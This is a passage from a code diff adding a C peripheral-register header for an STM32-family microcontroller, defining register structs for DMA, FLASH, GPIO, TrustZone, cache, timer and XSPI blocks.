0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 